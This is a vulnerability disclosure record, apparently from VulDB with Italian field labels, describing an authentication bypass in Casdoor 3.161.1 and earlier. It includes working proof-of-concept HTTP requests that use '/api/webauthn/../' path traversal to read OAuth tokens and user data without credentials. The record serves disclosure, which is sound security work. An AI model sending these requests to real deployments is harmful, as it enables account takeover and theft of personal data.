| Titolo | Casdoor 3.161.1 Missing Authentication (CWE-306) |
|---|
| Descrizione | # Title: Authentication Bypass in Casdoor ≤ 3.161.1 — Unauthenticated Access to Any /api/* Endpoint and OAuth Token Disclosure Leading to Account Takeover
**BUG_Author:** smal1black
**Affected Version:** Casdoor ≤ 3.161.1
**Vendor:** [Casdoor GitHub Repository](https://github.com/casdoor/casdoor)
**Software:** [Casdoor](https://github.com/casdoor/casdoor)
**Vulnerability Files:**
- `routers/authz_filter.go`
## Description:
1. **Authorization Bypass via Path Traversal:**
- In the file `routers/authz_filter.go`, the `ApiFilter()` performs the authorization
decision using `getUrlPath()`, which classifies the request with naive
`strings.HasPrefix` checks on the raw `URL.Path`.
- The function does not clean `../`, `%2e%2e`, or `//` path segments before making the
decision, so the authorized endpoint and the actually-dispatched handler can disagree.
2. **Exploiting the Bypass:**
- `/api/webauthn*` is whitelisted for anonymous access (WebAuthn signup/login flows).
- A request prefixed with `/api/webauthn/../` is therefore authorized as the public
`/api/webauthn` endpoint, while the router dispatches it — on the cleaned path — to
protected handlers such as `/api/get-tokens` or `/api/get-users`.
3. **Example Payload / Path:**
- The following path reaches `get-tokens` without any authentication:
```
/api/webauthn/../get-tokens?owner=built-in&pageSize=100&p=1
```
4. **Requesting the Endpoint:**
- Make an unauthenticated GET request:
```
GET /api/webauthn/../get-tokens?owner=built-in&pageSize=100&p=1 HTTP/1.1
Host: <target-ip>
```
5. **Verifying the Exploit:**
- The direct request to `/api/get-tokens` returns:
`{"status":"error","msg":"Unauthorized operation",...}`.
- The traversal request returns `{"status":"ok",...,"data":[...]}` containing OAuth token
records whose `accessToken` / `refreshToken` / `code` fields are present when the
queried organization has issued tokens — leading to SSO session/account takeover.
- The same traversal reaches `/api/get-users` to enumerate users and PII
(username, email, phone, displayName).
## Proof of Concept:
1. Access the protected endpoint directly (blocked):
```
GET /api/get-tokens?owner=built-in&pageSize=100&p=1 HTTP/1.1
Host: <target-ip>
```
Response:
```
{"status":"error","msg":"Unauthorized operation","data":null,"data2":null}
```
2. Replay the same request through the public `webauthn` prefix (bypassed):
```
GET /api/webauthn/../get-tokens?owner=built-in&pageSize=100&p=1 HTTP/1.1
Host: <target-ip>
```
Response:
```
{"status":"ok","msg":"","sub":"","name":"","data":[{"...":"accessToken/refreshToken/code..."}],"data2":<count>}
```
3. User enumeration via the same bypass:
```
GET /api/webauthn/../get-users?owner=built-in HTTP/1.1
Host: <target-ip>
```
Response:
```
{"status":"ok","msg":"","sub":"","name":"","data":[{"owner":"built-in","name":"admin","email":"...","phone":"...", ...}]}
```
4. If successful, the attacker reads protected API responses without providing any valid
credentials — the direct endpoint returns "Unauthorized operation" while the traversal
path returns `"status":"ok"` with endpoint data. |
|---|
| Utente | Smallblack (UID 51330) |
|---|
| Sottomissione | 28/08/2026 11:28 (1 mese fa) |
|---|
| Moderazione | 05/10/2026 08:02 (1 month later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 413512 [Casdoor fino a 3.161.1 API Endpoint routers/authz_filter.go ApiFilter autenticazione debole] |
|---|
| Punti | 17 |
|---|